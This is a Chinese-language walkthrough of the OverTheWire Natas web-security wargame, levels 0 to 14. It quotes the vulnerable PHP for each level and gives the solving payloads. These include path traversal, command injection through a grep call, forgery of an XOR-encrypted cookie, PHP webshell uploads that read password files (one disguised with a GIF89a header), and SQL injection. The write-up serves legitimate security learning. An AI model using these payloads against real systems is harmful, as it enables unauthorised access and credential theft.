Wargames学习笔记--Natas

靶场链接：https://overthewire.org/wargames/natas/natas0.html

<img src="files/pixel.png">

显示这个web有一个目录/files，访问files目录后里面除了pixel.png还有一个文本里面有下一级密码

[PARENTDIR]	Parent Directory	 	-	 
[IMG]	pixel.png	2016-12-15 16:07	303	 
[TXT]	users.txt	2016-12-20 05:15	145	 

<!-- No more information leaks!! Not even Google will find it this time... -->

谷歌都找不到，意味着限制爬虫的robots.txt中有内容
访问http://natas3.natas.labs.overthewire.org/robots.txt
回显了一个目录，访问目录里面就有下一级密码

http://natas3.natas.labs.overthewire.org//s3cr3t/

[PARENTDIR]	Parent Directory	 	-	 
[TXT]	users.txt	2016-12-20 05:15	40	 

You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

需要改请求头的Referer参数为http://natas5.natas.labs.overthewire.org/
使用burpsuit完成即可获得密码

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

如果输入的内容和已有的serect内容一致就会返回natas7的密码，看到包涵了一个文件secret.inc,直接访问这个文件就会发现serect的实际内容，提交即可

http://natas7.natas.labs.overthewire.org/index.php?page=home
http://natas7.natas.labs.overthewire.org/index.php?page=about

源码里有提示

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

构造路径穿越就可以访问到natas8的密码

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../etc/natas_webpass/natas8

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

就是把endodedSecret的内容按照顺序执行 hex2bin --> strrev --> base64_decode就可以获得secret来提交获得密码

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

echo base64_decode(strrev(hex2bin($encodedSecret)))
?>

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

就是把用户输入的内容执行了grep -i $key dictionary.txt
这里可以用到分割符“｜”来进行额外的命令执行，构造内容直接获取密码

asdasda | cat /etc/natas_webpass/natas10

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

和上一题很相似，只是过滤了一部分命令分隔符，但是grep本身也具有读取文本的功能，构造内容读取密码

[A-Z][a-z] /etc/natas_webpass/natas11

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);
?>

首先这里终极目标是把“showpassword”的值改为“yes”
xor_encrypt()是一个异或算法，其中key的值未知
loadData()是读取cookie更新data值的一个函数
saveData()是一个将data值转换为cookie的函数
先由data xor key得到cookie可知，用data xor cookie可以求得key，cookie的值可以用浏览器，burpsuit、charles等等方法看到
稍稍修改一下xor_encrypt()即可

<?php
$cookie='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';

$decode_cookie = base64_decode($cookie);

function xor_encrypt($in) {
    $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
    $key = json_encode($defaultdata);
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

$s_key = xor_encrypt($decode_cookie);

echo $s_key
?>

执行得到key为qw8J
得到key以后就需要把defaultdata中“showpassword”的值改为“yes”重新生成cookie，利用远程序稍加修改即可实现

<?php

$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)]; //把传入的内容和key按位异或
    }

    return $outText;
}

function saveData($d) { 
    echo (base64_encode(xor_encrypt(json_encode($d))));
}

$my_cookie = saveData($defaultdata);

echo $my_cookie

?>

最后把重构好的cookie在打开页面的时候用burpsuit拦截替换data=后面的值后转发得到下一级密码

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

看了半天其实就是随机了文件名，对扩展名和内容都没有审计，直接用php查看/etc/natas_webpass/natas13，用返回的上传路径连接去查看就可以了。。。

<?php
    $a = system('cat /etc/natas_webpass/natas13');echo $a;
?>

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

这里的关键函数是exif_imagetype()

exif_imagetype() 读取一个图像的第一个字节并检查其签名

所以我们在上一题的代码前面加上图像的识别头GIF89a?即可

GIF89a?<?php
    $a = system('cat /etc/natas_webpass/natas14');echo $a;
?>

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

输入用户名和密码没有任何过滤，而且有一个get的参数debug可以看到执行的语句非常和谐，构造一个payload看看回显

http://natas14.natas.labs.overthewire.org/?username=1&password=1&debug=1

回显

Executing query: SELECT * from users where username="1" and password="1"
Access denied!

这里只要用一个"来闭合用户名用or构造一个永真的值然后用#结尾即可
构造后的username为1" or 1#,password那部分可以为空。提交即可获得下一级密码